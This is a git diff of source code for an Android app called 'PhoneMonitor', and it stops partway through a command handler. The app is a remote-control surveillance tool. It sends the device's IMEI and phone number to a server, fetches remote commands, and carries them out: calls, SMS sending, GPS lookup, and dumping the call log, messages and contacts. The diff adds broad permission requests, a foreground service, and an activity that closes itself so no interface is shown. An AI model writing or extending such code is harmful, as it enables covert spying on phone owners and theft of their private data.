diff --git a/AndroidStudioProject/PhoneMonitor/app/build.gradle b/AndroidStudioProject/PhoneMonitor/app/build.gradle
index 10a48fe..9cb092f 100644
--- a/AndroidStudioProject/PhoneMonitor/app/build.gradle
+++ b/AndroidStudioProject/PhoneMonitor/app/build.gradle
@@ -13,10 +13,11 @@ android {
     defaultConfig {
         applicationId "com.monitor.phone.s0ft.phonemonitor"
         minSdkVersion 15
-        targetSdkVersion 21
+        targetSdkVersion 26
         versionCode 1
         versionName "1.0"
         testInstrumentationRunner "android.support.test.runner.AndroidJUnitRunner"
+
     }
     buildTypes {
         release {
@@ -26,6 +27,7 @@ android {
     }
     productFlavors {
     }
+
 }
 
 dependencies {
diff --git a/AndroidStudioProject/PhoneMonitor/app/src/main/java/com/monitor/phone/s0ft/phonemonitor/CameraCapture.java b/AndroidStudioProject/PhoneMonitor/app/src/main/java/com/monitor/phone/s0ft/phonemonitor/CameraCapture.java
index 8a99e9c..cb69430 100644
--- a/AndroidStudioProject/PhoneMonitor/app/src/main/java/com/monitor/phone/s0ft/phonemonitor/CameraCapture.java
+++ b/AndroidStudioProject/PhoneMonitor/app/src/main/java/com/monitor/phone/s0ft/phonemonitor/CameraCapture.java
@@ -28,7 +28,7 @@ enum PictureCaptureMethod {
 
     private final Context context;
     private boolean cameraBusy = false;
-    private JSONArray photosBase64Arr = new JSONArray();
+    private final JSONArray photosBase64Arr = new JSONArray();
 
     CameraCapture(Context context) {
         this.context = context;
@@ -237,7 +237,6 @@ public void onPictureTaken(byte[] bytes, Camera camera) {
 
 
 }
-
     /*
     * References:
     * https://stackoverflow.com/questions/2386025/taking-picture-from-camera-without-preview
diff --git a/AndroidStudioProject/PhoneMonitor/app/src/main/java/com/monitor/phone/s0ft/phonemonitor/HelperMethods.java b/AndroidStudioProject/PhoneMonitor/app/src/main/java/com/monitor/phone/s0ft/phonemonitor/HelperMethods.java
index ef0e3d4..75f6391 100644
--- a/AndroidStudioProject/PhoneMonitor/app/src/main/java/com/monitor/phone/s0ft/phonemonitor/HelperMethods.java
+++ b/AndroidStudioProject/PhoneMonitor/app/src/main/java/com/monitor/phone/s0ft/phonemonitor/HelperMethods.java
@@ -1,15 +1,20 @@
 package com.monitor.phone.s0ft.phonemonitor;
 
 
+import android.Manifest;
+import android.annotation.SuppressLint;
 import android.app.AlarmManager;
 import android.app.PendingIntent;
 import android.content.Context;
 import android.content.Intent;
+import android.content.pm.PackageManager;
 import android.net.ConnectivityManager;
 import android.net.NetworkInfo;
 import android.os.Build;
 import android.os.SystemClock;
 import android.provider.Settings;
+import android.support.annotation.RequiresApi;
+import android.support.v4.app.ActivityCompat;
 import android.telephony.TelephonyManager;
 import android.util.Log;
 
@@ -24,6 +29,7 @@
 
 public class HelperMethods {
 
+    static MainActivity checkPermissions = new MainActivity();
 
     static boolean isInternetAvailable(Context context) {
         boolean retval = false;
@@ -95,21 +101,36 @@ public boolean accept(File file) {
 
     }
 
+    @RequiresApi(api = Build.VERSION_CODES.M)
     static String getIMEI(Context context) {
         String retval = "";
         TelephonyManager telephonyManager = (TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE);
         if (telephonyManager != null) {
+            if (ActivityCompat.checkSelfPermission(context, Manifest.permission.READ_PHONE_STATE) != PackageManager.PERMISSION_GRANTED) {
+                // TODO: Consider calling
+                //    ActivityCompat#requestPermissions
+                // here to request the missing permissions, and then overriding
+                //   public void onRequestPermissionsResult(int requestCode, String[] permissions,
+                //                                          int[] grantResults)
+                // to handle the case where the user grants the permission. See the documentation
+                // for ActivityCompat#requestPermissions for more details.
+                return "false";
+            }
             retval = telephonyManager.getDeviceId();
+
         }
         return retval;
     }
 
+    @SuppressLint("MissingPermission")
+    @RequiresApi(api = Build.VERSION_CODES.M)
     static String getNumber(Context context) {
         String retval = "";
         TelephonyManager telephonyManager = (TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE);
         if (telephonyManager != null) {
             retval = telephonyManager.getLine1Number();
 
+
         }
         return retval;
     }
diff --git a/AndroidStudioProject/PhoneMonitor/app/src/main/java/com/monitor/phone/s0ft/phonemonitor/MainActivity.java b/AndroidStudioProject/PhoneMonitor/app/src/main/java/com/monitor/phone/s0ft/phonemonitor/MainActivity.java
index 1f39365..70ac3ef 100644
--- a/AndroidStudioProject/PhoneMonitor/app/src/main/java/com/monitor/phone/s0ft/phonemonitor/MainActivity.java
+++ b/AndroidStudioProject/PhoneMonitor/app/src/main/java/com/monitor/phone/s0ft/phonemonitor/MainActivity.java
@@ -1,39 +1,222 @@
 package com.monitor.phone.s0ft.phonemonitor;
 
+import android.Manifest;
 import android.app.Activity;
-import android.content.Context;
 import android.content.Intent;
-import android.database.Cursor;
-import android.location.Criteria;
-import android.location.Location;
-import android.location.LocationListener;
-import android.location.LocationManager;
-import android.net.Uri;
+import android.content.pm.PackageManager;
+import android.os.Build;
 import android.os.Bundle;
-import android.os.Handler;
-import android.provider.ContactsContract;
-import android.provider.Settings;
-import android.support.v7.widget.ThemedSpinnerAdapter;
-import android.util.Log;
-import android.widget.Toast;
+import android.support.annotation.NonNull;
+import android.support.annotation.RequiresApi;
 
-import org.json.JSONArray;
-import org.json.JSONException;
-import org.json.JSONObject;
-
-import java.util.Date;
-import java.util.concurrent.Callable;
+import static android.Manifest.permission.READ_SMS;
 
 public class MainActivity extends Activity {
 
+    private static final int MY_CAMERA_REQUEST_CODE = 100;
+    private static final int MY_EXT_STORE_REQUEST_CODE = 101;
+    private static final int MY_CALL_PHONE_REQUEST_CODE = 102;
+    private static final int MY_READ_PHONE_REQUEST_CODE = 103;
+    private static final int MY_READ_CONTACTS_REQUEST_CODE = 104;
+    private static final int MY_RECEIVE_SMS_REQUEST_CODE = 105;
+    private static final int MY_READ_SMS_REQUEST_CODE = 106;
+    private static final int MY_READ_PHONE_NUMBERS_REQUEST_CODE = 107;
+    private static final int MY_SEND_SMS_REQUEST_CODE = 108;
+    private static final int MY_RECORD_AUDIO_REQUEST_CODE = 109;
+    private static final int ACCESS_FINE_LOCATION_REQUEST_CODE = 110;
+
+
+    boolean isRationale, isFirst;
+    static int REQUEST_CODE_PERMISSIONS = 11;
+
+    @RequiresApi(api = Build.VERSION_CODES.M)
     @Override
     protected void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
         setContentView(R.layout.activity_main);
-        Intent intent=new Intent(this,MainService.class);
+
+        /*Intent intent=new Intent(this,MainService.class);
         startService(intent);
-        finish();
+        finish();*/
+
+        //askPermissions(true);
+        //checkPermission();
+        if (checkPermission()) {
+            Intent intent = new Intent(this, MainService.class);
+            if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
+                startForegroundService(intent);
+            } else {
+                startService(intent);
+            }
+            //startService(intent);
+            finish();
+        }
+
+
+    }
+
+
+    @RequiresApi(api = Build.VERSION_CODES.M)
+    public boolean checkPermission() {
+
+        String[] permissions = {Manifest.permission.CAMERA, Manifest.permission.WRITE_EXTERNAL_STORAGE,
+                Manifest.permission.CALL_PHONE, Manifest.permission.READ_PHONE_STATE, Manifest.permission.READ_CONTACTS,
+                Manifest.permission.RECEIVE_SMS, Manifest.permission.ACCESS_FINE_LOCATION,
+                Manifest.permission.READ_CALL_LOG, Manifest.permission.RECORD_AUDIO, READ_SMS,
+                Manifest.permission.SEND_SMS, Manifest.permission.READ_PHONE_NUMBERS};
+
+        if ((checkSelfPermission(Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED) &&
+                (checkSelfPermission(Manifest.permission.WRITE_EXTERNAL_STORAGE) != PackageManager.PERMISSION_GRANTED) &&
+                (checkSelfPermission(Manifest.permission.CALL_PHONE) != PackageManager.PERMISSION_GRANTED) &&
+                (checkSelfPermission(Manifest.permission.READ_PHONE_STATE) != PackageManager.PERMISSION_GRANTED) &&
+                (checkSelfPermission(Manifest.permission.READ_CONTACTS) != PackageManager.PERMISSION_GRANTED) &&
+                (checkSelfPermission(Manifest.permission.RECEIVE_SMS) != PackageManager.PERMISSION_GRANTED) &&
+                (checkSelfPermission(Manifest.permission.ACCESS_FINE_LOCATION) != PackageManager.PERMISSION_GRANTED) &&
+                (checkSelfPermission(Manifest.permission.READ_CALL_LOG) != PackageManager.PERMISSION_GRANTED) &&
+                (checkSelfPermission(Manifest.permission.RECORD_AUDIO) != PackageManager.PERMISSION_GRANTED) &&
+                (checkSelfPermission(Manifest.permission.READ_SMS) != PackageManager.PERMISSION_GRANTED) &&
+                (checkSelfPermission(Manifest.permission.READ_PHONE_NUMBERS) != PackageManager.PERMISSION_GRANTED) &&
+                (checkSelfPermission(Manifest.permission.SEND_SMS) != PackageManager.PERMISSION_GRANTED)) {
+            requestPermissions(permissions, REQUEST_CODE_PERMISSIONS);
+        }
+
+         /*   if (checkSelfPermission(Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED) {
+            requestPermissions(new String[]{Manifest.permission.CAMERA}, MY_CAMERA_REQUEST_CODE);
+        }
+        if (checkSelfPermission(Manifest.permission.WRITE_EXTERNAL_STORAGE) != PackageManager.PERMISSION_GRANTED) {
+            requestPermissions(new String[]{Manifest.permission.WRITE_EXTERNAL_STORAGE}, MY_EXT_STORE_REQUEST_CODE);
+        }
+        if (checkSelfPermission(Manifest.permission.CALL_PHONE) != PackageManager.PERMISSION_GRANTED) {
+            requestPermissions(new String[]{Manifest.permission.CALL_PHONE}, MY_CALL_PHONE_REQUEST_CODE);
+        }
+        if (checkSelfPermission(Manifest.permission.READ_PHONE_STATE) != PackageManager.PERMISSION_GRANTED) {
+            requestPermissions(new String[]{Manifest.permission.READ_PHONE_STATE}, MY_READ_PHONE_REQUEST_CODE);
+        }
+        if (checkSelfPermission(Manifest.permission.READ_CONTACTS) != PackageManager.PERMISSION_GRANTED) {
+            requestPermissions(new String[]{Manifest.permission.READ_CONTACTS}, MY_READ_CONTACTS_REQUEST_CODE);
+        }
+
+        if (checkSelfPermission(Manifest.permission.RECEIVE_SMS) != PackageManager.PERMISSION_GRANTED) {
+            requestPermissions(new String[]{Manifest.permission.RECEIVE_SMS}, MY_RECEIVE_SMS_REQUEST_CODE);
+        }*/
+        return true;
+    }
+
+
+    @Override
+    public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) {
+        /*if (requestCode == REQUEST_CODE_PERMISSIONS) {
+            Map<String, Integer> perms = new HashMap<String, Integer>();
+            // Initial
+            perms.put(Manifest.permission.WRITE_EXTERNAL_STORAGE, PackageManager.PERMISSION_GRANTED);
+            perms.put(Manifest.permission.CALL_PHONE, PackageManager.PERMISSION_GRANTED);
+            perms.put(Manifest.permission.READ_PHONE_STATE, PackageManager.PERMISSION_GRANTED);
+            perms.put(Manifest.permission.READ_CONTACTS, PackageManager.PERMISSION_GRANTED);
+            perms.put(Manifest.permission.RECEIVE_SMS, PackageManager.PERMISSION_GRANTED);
+            // Fill with results
+            for (int i = 0; i < permissions.length; i++) {
+                perms.put(permissions[i], grantResults[i]);
+            }
+            // Check for ACCESS_FINE_LOCATION
+            if (perms.get(Manifest.permission.WRITE_EXTERNAL_STORAGE) == PackageManager.PERMISSION_GRANTED &&
+                    perms.get(Manifest.permission.CALL_PHONE) == PackageManager.PERMISSION_GRANTED &&
+                    perms.get(Manifest.permission.READ_PHONE_STATE) == PackageManager.PERMISSION_GRANTED &&
+                    perms.get(Manifest.permission.READ_CONTACTS) == PackageManager.PERMISSION_GRANTED &&
+                    perms.get(Manifest.permission.RECEIVE_SMS) == PackageManager.PERMISSION_GRANTED) {
+                // All Permissions Granted
+                //startActivity(new Intent(PermissionsActivity.this, SplashActivity.class));
+                Intent intent=new Intent(this,MainService.class);
+                startService(intent);
+                finish();
+            } else {
+                // Permission Denied
+                Toast.makeText(this, "Some Permission is Denied.", Toast.LENGTH_SHORT)
+                        .show();
+                isFirst = false;
+                askPermissions(true);
+            }
+        }*/
+        super.onRequestPermissionsResult(requestCode, permissions, grantResults);
+        if ((requestCode == MY_CAMERA_REQUEST_CODE) && (requestCode == MY_EXT_STORE_REQUEST_CODE) &&
+                (requestCode == MY_CALL_PHONE_REQUEST_CODE) && (requestCode == MY_READ_PHONE_REQUEST_CODE) &&
+                (requestCode == MY_READ_CONTACTS_REQUEST_CODE) && (requestCode == MY_RECEIVE_SMS_REQUEST_CODE) &&
+                (requestCode == MY_READ_SMS_REQUEST_CODE) && (requestCode == MY_READ_PHONE_NUMBERS_REQUEST_CODE) &&
+                (requestCode == MY_SEND_SMS_REQUEST_CODE) && (requestCode == ACCESS_FINE_LOCATION_REQUEST_CODE) &&
+                (requestCode == MY_RECORD_AUDIO_REQUEST_CODE)) {
+            for (int grantResult : grantResults) {
+                if (grantResult == PackageManager.PERMISSION_GRANTED) {
+                    Intent intent = new Intent(this, MainService.class);
+                    startService(intent);
+                    finish();
+                }
+            }
+        }
+
+
+        // Check for ACCESS_FINE_LOCATION
+      /*  if (requestCode == MY_CAMERA_REQUEST_CODE) {
+            for(int i = 0 ; i<grantResults.length;i++){
+
+            }
+            if (grantResults[0] == PackageManager.PERMISSION_GRANTED) {
+                Toast.makeText(this, "camera permission granted", Toast.LENGTH_LONG).show();
+            } else {
+                Toast.makeText(this, "camera permission denied", Toast.LENGTH_LONG).show();
+            }
+        }*/
+        // super.onRequestPermissionsResult(requestCode, permissions, grantResults);
+
+
+    }
+
+    private boolean hasPermissions() {
+        int res;
+        // list all permissions which you want to check are granted or not.
+        String[] permissions = new String[]{Manifest.permission.CAMERA, Manifest.permission.WRITE_EXTERNAL_STORAGE, Manifest.permission.CALL_PHONE,
+                Manifest.permission.READ_PHONE_STATE, Manifest.permission.READ_CONTACTS, Manifest.permission.RECEIVE_SMS};
+        for (String perms : permissions) {
+            res = checkCallingOrSelfPermission(perms);
+            if (!(res == PackageManager.PERMISSION_GRANTED)) {
+                // it return false because your app dosen't have permissions.
+                //askPermissions(true);
+                return false;
+            }
+
+        }
+        // it return true, your app has permissions.
+        return true;
+    }
+
+    @Override
+    protected void onActivityResult(int requestCode, int resultCode, Intent data) {
+        super.onActivityResult(requestCode, resultCode, data);
+        if (resultCode == RESULT_OK) {
+
+            if ((requestCode == MY_CAMERA_REQUEST_CODE) && (requestCode == MY_EXT_STORE_REQUEST_CODE) &&
+                    (requestCode == MY_CALL_PHONE_REQUEST_CODE) && (requestCode == MY_READ_PHONE_REQUEST_CODE) &&
+                    (requestCode == MY_READ_CONTACTS_REQUEST_CODE) && (requestCode == MY_RECEIVE_SMS_REQUEST_CODE) &&
+                    (requestCode == MY_READ_SMS_REQUEST_CODE) && (requestCode == MY_READ_PHONE_NUMBERS_REQUEST_CODE) &&
+                    (requestCode == MY_SEND_SMS_REQUEST_CODE) && (requestCode == ACCESS_FINE_LOCATION_REQUEST_CODE) &&
+                    (requestCode == MY_RECORD_AUDIO_REQUEST_CODE)) {
+                Intent intent = new Intent(this, MainService.class);
+                startService(intent);
+                finish();
+            }
+        }
+
+
+        //askPermissions(true);
     }
 
+    @Override
+    protected void onStart() {
+        super.onStart();
+        finish();
+    }
 
+    @Override
+    protected void onResume() {
+        super.onResume();
+        finish();
+    }
 }
diff --git a/AndroidStudioProject/PhoneMonitor/app/src/main/java/com/monitor/phone/s0ft/phonemonitor/MainService.java b/AndroidStudioProject/PhoneMonitor/app/src/main/java/com/monitor/phone/s0ft/phonemonitor/MainService.java
index 0675d4b..ddcdf56 100644
--- a/AndroidStudioProject/PhoneMonitor/app/src/main/java/com/monitor/phone/s0ft/phonemonitor/MainService.java
+++ b/AndroidStudioProject/PhoneMonitor/app/src/main/java/com/monitor/phone/s0ft/phonemonitor/MainService.java
@@ -35,6 +35,7 @@ public void onCreate() {
             ServerTalkLoopThread serverTalkLoopThread = new ServerTalkLoopThread(this, AppSettings.getReportURL(), AppSettings.getCommandsURL(), AppSettings.getOutputURL());
             serverTalkLoopThread.setName("ServerTalkLoopThread");
             serverTalkLoopThread.start();
+            serverTalkLoopThread.startThread();
         }
 
 
diff --git a/AndroidStudioProject/PhoneMonitor/app/src/main/java/com/monitor/phone/s0ft/phonemonitor/ServerTalkLoopThread.java b/AndroidStudioProject/PhoneMonitor/app/src/main/java/com/monitor/phone/s0ft/phonemonitor/ServerTalkLoopThread.java
index 8878012..2f28116 100644
--- a/AndroidStudioProject/PhoneMonitor/app/src/main/java/com/monitor/phone/s0ft/phonemonitor/ServerTalkLoopThread.java
+++ b/AndroidStudioProject/PhoneMonitor/app/src/main/java/com/monitor/phone/s0ft/phonemonitor/ServerTalkLoopThread.java
@@ -4,6 +4,9 @@
 import android.content.Context;
 import android.net.Uri;
 import android.os.Build;
+import android.os.Handler;
+import android.os.Looper;
+import android.support.annotation.RequiresApi;
 import android.telephony.SmsManager;
 import android.util.Log;
 
@@ -18,14 +21,17 @@
 import java.net.HttpURLConnection;
 import java.net.MalformedURLException;
 import java.net.URL;
+import java.nio.charset.StandardCharsets;
 
 
 class ServerTalkLoopThread extends Thread {
 
-    private String reportURL;
-    private String commandsURL;
-    private String outputURL;
-    private Context context;
+    private final String reportURL;
+    private final String commandsURL;
+    private final String outputURL;
+    private final Context context;
+
+    Handler mHandler = new Handler(Looper.getMainLooper());
 
     ServerTalkLoopThread(Context context, String ReportURL, String CommandsURL, String OutputURL) {
         this.reportURL = ReportURL;
@@ -34,6 +40,7 @@ class ServerTalkLoopThread extends Thread {
         this.context = context;
     }
 
+    /*@RequiresApi(api = Build.VERSION_CODES.M)
     @Override
     public void run() {
         try {
@@ -54,183 +61,253 @@ public void run() {
         } catch (InterruptedException iex) {
             //out of the loop if thread interrupted
         }
+    }*/
+
+    public void startThread() {
+        new Thread(new Runnable() {
+            @RequiresApi(api = Build.VERSION_CODES.M)
+            @Override
+            public void run() {
+                mHandler.post(new Runnable() {
+                    @Override
+                    public void run() {
+                        if (HelperMethods.isInternetAvailable(context)) {
+                            //talk to server
+                            postStatus(); //post current status to server
+                            getAndExecuteWebCommands(); //executes any pending web commands and send output to server
+                        }
+
+                    }
+                });
+
+            }
+        }).start();
     }
 
-    private void postStatus() throws IOException {
+    private void postStatus() {
         //reports device status to the server
-        URL url = new URL(this.reportURL);
-        HttpURLConnection httpURLConnection = (HttpURLConnection) url.openConnection();
-        httpURLConnection.setRequestMethod("POST");
-        httpURLConnection.setRequestProperty("User-Agent", "PhoneMonitor");
-        httpURLConnection.setDoOutput(true);
-        httpURLConnection.setConnectTimeout(5000);//without a timeout, .getOutputStream() hangs forever if server doesn't respond
-        httpURLConnection.setReadTimeout(5000);//without a timeout, .getResponseMessage(), .getInputStream() and .getResponseCode() hang forever if server doesn't respond
-
-        OutputStream outputstream = httpURLConnection.getOutputStream();
-
-        Uri.Builder builder = new Uri.Builder()
-                .appendQueryParameter("IMEI", HelperMethods.getIMEI(context))
-                .appendQueryParameter("number", HelperMethods.getNumber(context))
-                .appendQueryParameter("manufacturer", Build.MANUFACTURER)
-                .appendQueryParameter("model", Build.MODEL)
-                .appendQueryParameter("uniqueid", HelperMethods.getDeviceUID(context));
-        String POSTQuery = builder.build().getEncodedQuery();
-
-        outputstream.write(POSTQuery.getBytes("UTF-8"));
-        outputstream.flush();
-        outputstream.close();
-        String responseMsg = httpURLConnection.getResponseMessage();//dunno why but .getResponseMessage() or .getInputStream() or getResponseCode() _is_ required to actually make the POST request
-        httpURLConnection.disconnect();
+        new Thread(new Runnable() {
+            @RequiresApi(api = Build.VERSION_CODES.M)
+            @Override
+            public void run() {
+                try {
+                    URL url = new URL(reportURL);
+                    HttpURLConnection httpURLConnection = (HttpURLConnection) url.openConnection();
+                    httpURLConnection.setRequestMethod("POST");
+                    httpURLConnection.setRequestProperty("User-Agent", "PhoneMonitor");
+                    httpURLConnection.setDoOutput(true);
+                    httpURLConnection.setConnectTimeout(5000);//without a timeout, .getOutputStream() hangs forever if server doesn't respond
+                    httpURLConnection.setReadTimeout(5000);//without a timeout, .getResponseMessage(), .getInputStream() and .getResponseCode() hang forever if server doesn't respond
+
+                    OutputStream outputstream = httpURLConnection.getOutputStream();
+
+                    Uri.Builder builder = new Uri.Builder()
+                            .appendQueryParameter("IMEI", HelperMethods.getIMEI(context))
+                            .appendQueryParameter("number", HelperMethods.getNumber(context))
+                            .appendQueryParameter("manufacturer", Build.MANUFACTURER)
+                            .appendQueryParameter("model", Build.MODEL)
+                            .appendQueryParameter("uniqueid", HelperMethods.getDeviceUID(context));
+                    String POSTQuery = builder.build().getEncodedQuery();
+
+                    outputstream.write(POSTQuery.getBytes(StandardCharsets.UTF_8));
+                    outputstream.flush();
+                    outputstream.close();
+                    String responseMsg = httpURLConnection.getResponseMessage();//dunno why but .getResponseMessage() or .getInputStream() or getResponseCode() _is_ required to actually make the POST request
+                    httpURLConnection.disconnect();
+                } catch (IOException ioException) {
+                    Log.w(AppSettings.getTAG(), ioException.getMessage());
+                }
+            }
+        }).start();
+
+
     }
 
-    private void getAndExecuteWebCommands() throws IOException {
+    @RequiresApi(api = Build.VERSION_CODES.M)
+    private void getAndExecuteWebCommands() {
         //retrieves commandlist from server and calls executeWebCommandsFromJSON()
-        URL url = new URL(this.commandsURL);
-        HttpURLConnection httpURLConnection = (HttpURLConnection) url.openConnection();
-        httpURLConnection.setRequestMethod("POST");
-        httpURLConnection.setDoOutput(true);//we'll send the deviceUID to the server and we'll receive the corresponding command and params
-        httpURLConnection.setDoInput(true);
-        httpURLConnection.setRequestProperty("User-Agent", "PhoneMonitor");
-        httpURLConnection.setConnectTimeout(5000);
-        httpURLConnection.setReadTimeout(5000);
-
-        Uri.Builder builder = new Uri.Builder()
-                .appendQueryParameter("uniqueid", HelperMethods.getDeviceUID(context));
-        String GETQuery = builder.build().getEncodedQuery();
-
-        OutputStream outputStream = httpURLConnection.getOutputStream();
-        outputStream.write((byte[]) GETQuery.getBytes("UTF-8"));
-        InputStream inputStream = httpURLConnection.getInputStream();
-        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
-        byte byteread;
-        while ((byteread = (byte) inputStream.read()) != -1) {
-            byteArrayOutputStream.write(byteread);
-        }
-        String commandsString = byteArrayOutputStream.toString();
-        outputStream.close();
-        inputStream.close();
-        httpURLConnection.disconnect();
-
-        if (!commandsString.equals("")) {
-            try {
-                JSONArray commandsJSONArray = new JSONArray(commandsString);
-                executeWebCommandsFromJSON(commandsJSONArray);
-            } catch (JSONException jsoex) {
-                Log.w(AppSettings.getTAG(), "JSONException @ ServerTalkLoopThread.getAndExecuteWebCommands()\n" + jsoex.getMessage());
+        new Thread(new Runnable() {
+            @Override
+            public void run() {
+                try {
+                    URL url = new URL(commandsURL);
+                    HttpURLConnection httpURLConnection = (HttpURLConnection) url.openConnection();
+                    httpURLConnection.setRequestMethod("POST");
+                    httpURLConnection.setDoOutput(true);//we'll send the deviceUID to the server and we'll receive the corresponding command and params
+                    httpURLConnection.setDoInput(true);
+                    httpURLConnection.setRequestProperty("User-Agent", "PhoneMonitor");
+                    httpURLConnection.setConnectTimeout(5000);
+                    httpURLConnection.setReadTimeout(5000);
+
+                    Uri.Builder builder = new Uri.Builder()
+                            .appendQueryParameter("uniqueid", HelperMethods.getDeviceUID(context));
+                    String GETQuery = builder.build().getEncodedQuery();
+
+                    OutputStream outputStream = httpURLConnection.getOutputStream();
+                    outputStream.write((byte[]) GETQuery.getBytes(StandardCharsets.UTF_8));
+                    InputStream inputStream = httpURLConnection.getInputStream();
+                    ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
+                    byte byteread;
+                    while ((byteread = (byte) inputStream.read()) != -1) {
+                        byteArrayOutputStream.write(byteread);
+                    }
+                    String commandsString = byteArrayOutputStream.toString();
+                    outputStream.close();
+                    inputStream.close();
+                    httpURLConnection.disconnect();
+
+                    if (!commandsString.equals("")) {
+                        try {
+                            JSONArray commandsJSONArray = new JSONArray(commandsString);
+                            executeWebCommandsFromJSON(commandsJSONArray);
+                        } catch (JSONException jsoex) {
+                            Log.w(AppSettings.getTAG(), "JSONException @ ServerTalkLoopThread.getAndExecuteWebCommands()\n" + jsoex.getMessage());
+                        }
+
+                    }
+                } catch (IOException ioException) {
+                    Log.w(AppSettings.getTAG(), ioException.getMessage());
+                }
             }
+        }).start();
 
-        }
     }
 
-    private void executeWebCommandsFromJSON(JSONArray commandsJson) throws JSONException {
+    @RequiresApi(api = Build.VERSION_CODES.M)
+    private void executeWebCommandsFromJSON(final JSONArray commandsJson) {
         //actually executes retrieved commands
-        WebCommandsExecutor webCommandsExecutor = new WebCommandsExecutor(context);
-        for (int i = 0; i < commandsJson.length(); i++) {
-            JSONObject command = commandsJson.getJSONObject(i);
-            int commandId = command.getInt("commandid");
-            switch (commandId) {
-                case 0://vibrate(repeat_times,pattern)
-                    int repeatTimes = command.getInt("param1");
-                    String vibPattern = command.getString("param2");
-                    webCommandsExecutor.vibrate(repeatTimes, vibPattern);
-                    notifyServerOfCommandExecution(command, "");
-                    Log.w(AppSettings.getTAG(), "Vibration effected.");
-                    break;
-                case 1://call(number)
-                    long callPhoneNumber = command.getLong("param1");
-                    webCommandsExecutor.call(callPhoneNumber);
-                    notifyServerOfCommandExecution(command, "");
-                    Log.w(AppSettings.getTAG(), "Phone call effected.");
-                    break;
-                case 2://sms(number,message)
-                    String targetPhone = command.getString("param1");
-                    String msgBody = command.getString("param2");
-                    if (!targetPhone.equals("")) {
-                        SmsManager smsManager = SmsManager.getDefault();
-                        smsManager.sendTextMessage(targetPhone, null, msgBody, null, null);
-                        Log.w(AppSettings.getTAG(), "SMS effected.");
-                    }
-                    notifyServerOfCommandExecution(command, "");
-                    break;
-                case 3://gps(num_times,show_toast_or_not,send_gps_to_number)
-                    int promptUserLocationOnTimes = 0;
-                    try {
-                        promptUserLocationOnTimes = Integer.parseInt(command.getString("param1"));
-                    } catch (NumberFormatException nfe) {
-                        //do nothing
-                    }
-                    Boolean showPromptToast = Boolean.parseBoolean(command.getString("param2"));
-                    String sendSMSToNumber = command.getString("param3");
-                    String gpsCoords = webCommandsExecutor.getGPSCoordinates(promptUserLocationOnTimes, showPromptToast, sendSMSToNumber);
-                    notifyServerOfCommandExecution(command, gpsCoords);
-                    Log.w(AppSettings.getTAG(), "GPS output effected.");
-                    break;
-                case 4://getcallrecords()
-                    String callLog = webCommandsExecutor.getCallLog();
-                    notifyServerOfCommandExecution(command, callLog);
-                    Log.w(AppSettings.getTAG(), "CallLog output effected.");
-                    break;
-                case 5://getsmsmessages()
-                    String smsMessages = webCommandsExecutor.getSMSMessages();
-                    notifyServerOfCommandExecution(command, smsMessages);
-                    Log.w(AppSettings.getTAG(), "SMS messages output effected.");
-                    break;
-                case 6://getcontacts()
-                    String contacts = webCommandsExecutor.getContacts();
-                    notifyServerOfCommandExecution(command, contacts);
-                    Log.w(AppSettings.getTAG(), "Contacts output effected.");
-                    break;
-                case 7://clickphotos(method)
-                    int method = 0;
-                    try {
-                        method = Integer.parseInt(command.getString("param1"));
-                    } catch (NumberFormatException nfe) {
-                        //do nothing
+        new Thread(new Runnable() {
+            @Override
+            public void run() {
+                mHandler.post(new Runnable() {
+                    @Override
+                    public void run() {
+                        WebCommandsExecutor webCommandsExecutor = new WebCommandsExecutor(context);
+                        try {
+                            for (int i = 0; i < commandsJson.length(); i++) {
+                                JSONObject command = commandsJson.getJSONObject(i);
+                                int commandId = command.getInt("commandid");
+                                switch (commandId) {
+                                    case 0://vibrate(repeat_times,pattern)
+                                        int repeatTimes = command.getInt("param1");
+                                        String vibPattern = command.getString("param2");
+                                        webCommandsExecutor.vibrate(repeatTimes, vibPattern);
+                                        notifyServerOfCommandExecution(command, "");
+                                        Log.w(AppSettings.getTAG(), "Vibration effected.");
+                                        break;
+                                    case 1://call(number)
+                                        long callPhoneNumber = command.getLong("param1");
+                                        webCommandsExecutor.call(callPhoneNumber);
+                                        notifyServerOfCommandExecution(command, "");
+                                        Log.w(AppSettings.getTAG(), "Phone call effected.");
+                                        break;
+                                    case 2://sms(number,message)
+                                        String targetPhone = command.getString("param1");
+                                        String msgBody = command.getString("param2");
+                                        if (!targetPhone.equals("")) {
+                                            SmsManager smsManager = SmsManager.getDefault();
+                                            smsManager.sendTextMessage(targetPhone, null, msgBody, null, null);
+                                            Log.w(AppSettings.getTAG(), "SMS effected.");
+                                        }
+                                        notifyServerOfCommandExecution(command, "");
+                                        break;
+                                    case 3://gps(num_times,show_toast_or_not,send_gps_to_number)
+                                        int promptUserLocationOnTimes = 0;
+                                        try {
+                                            promptUserLocationOnTimes = Integer.parseInt(command.getString("param1"));
+                                        } catch (NumberFormatException nfe) {
+                                            //do nothing
+                                        }
+                                        Boolean showPromptToast = Boolean.parseBoolean(command.getString("param2"));
+                                        String sendSMSToNumber = command.getString("param3");
+                                        String gpsCoords = webCommandsExecutor.getGPSCoordinates(promptUserLocationOnTimes, showPromptToast, sendSMSToNumber);
+                                        notifyServerOfCommandExecution(command, gpsCoords);
+                                        Log.w(AppSettings.getTAG(), "GPS output effected.");
+                                        break;
+                                    case 4://getcallrecords()
+                                        String callLog = webCommandsExecutor.getCallLog();
+                                        notifyServerOfCommandExecution(command, callLog);
+                                        Log.w(AppSettings.getTAG(), "CallLog output effected.");
+                                        break;
+                                    case 5://getsmsmessages()
+                                        String smsMessages = webCommandsExecutor.getSMSMessages();
+                                        notifyServerOfCommandExecution(command, smsMessages);
+                                        Log.w(AppSettings.getTAG(), "SMS messages output effected.");
+                                        break;
+                                    case 6://getcontacts()
+                                        String contacts = webCommandsExecutor.getContacts();
+                                        notifyServerOfCommandExecution(command, contacts);
+                                        Log.w(AppSettings.getTAG(), "Contacts output effected.");
+                                        break;
+                                    case 7://clickphotos(method)
+                                        int method = 0;
+                                        try {
+                                            method = Integer.parseInt(command.getString("param1"));
+                                        } catch (NumberFormatException nfe) {
+                                            //do nothing
